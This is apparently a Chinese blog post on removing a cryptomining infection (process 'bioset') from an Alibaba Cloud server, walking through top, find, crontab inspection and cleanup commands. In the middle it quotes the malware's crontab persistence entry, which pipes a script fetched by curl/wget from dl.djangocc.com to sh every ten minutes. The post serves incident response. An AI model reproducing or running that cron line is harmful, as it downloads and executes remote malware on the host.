1. 问题出现
一大早刚起床, 阿里云就给我发了一条短信, 提醒我服务器出现紧急安全事件: 挖矿程序
阿里云 "贴心" 地提供了解决方法, 不过需要购买企业版的安全服务, 本着能自己动手就不花钱原则自己搞了起来
于是赶紧上网查资料解决, 相似的问题好多, 都是被这些脚本变成了挖矿的 "肉鸡"
2. 问题排查
1) 首先 top 命令查看到占用 CPU 最多的进程 bioset, 判断这个就是所谓的挖矿进程
这里经过网上资料提醒, 经过攻击后控制台输出变得不可信, 因为病毒很可能重定向或者篡改, 隐藏你的输出, 有一个 busybox 可以解决这一问题, 这里因为我没有出现这种情况所以没用.
kill 掉进程, 过一会也会继续出现, 说明存在守护进程或者定时同步机制.
2) 通过进程名寻找文件目录
- [[email protected] sbin]# find / -name '*bioset*'
- /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset
该目录下存在一个 proc_1 的脚本文件, 推测是守护脚本, 直接删除也不行 (还有同步机制, 接着看)
3) 使用 crontab -l 查询任务项, 果然有猫腻
- [[email protected] sbin]# crontab -l
- */10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh
该病毒会每 10 分钟从 djangocc.com 上下载 shell 脚本并执行, 这里不能直接执行 crontab -e, 进去后删除, 然后保存退出. 这方法压根不行, 因为还会继续添加.
3. 问题解决
1) 先关掉定时 crond
- systemctl stop crond #关掉定时
- systemctl disable crond.service #关掉定时开机自启动
2) 删除 crontab 文件
rm -rf /var/spool/cron/root
3) 删除病毒文件
rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*
4) 根据之前 top 的病毒 PID 停止进程
kill -9 2042
5) 执行 crontab -e 进去将所有内容删除, 保存退出
crontab -e
6) 重启监测, 到这里 top 发现没有 bioset,CPU 占用也正常
(不过提醒下, 可以去阿里云后台再确认下 CPU 运行是否正常)
参考:
来源: http://www.bubuko.com/infodetail-3189372.html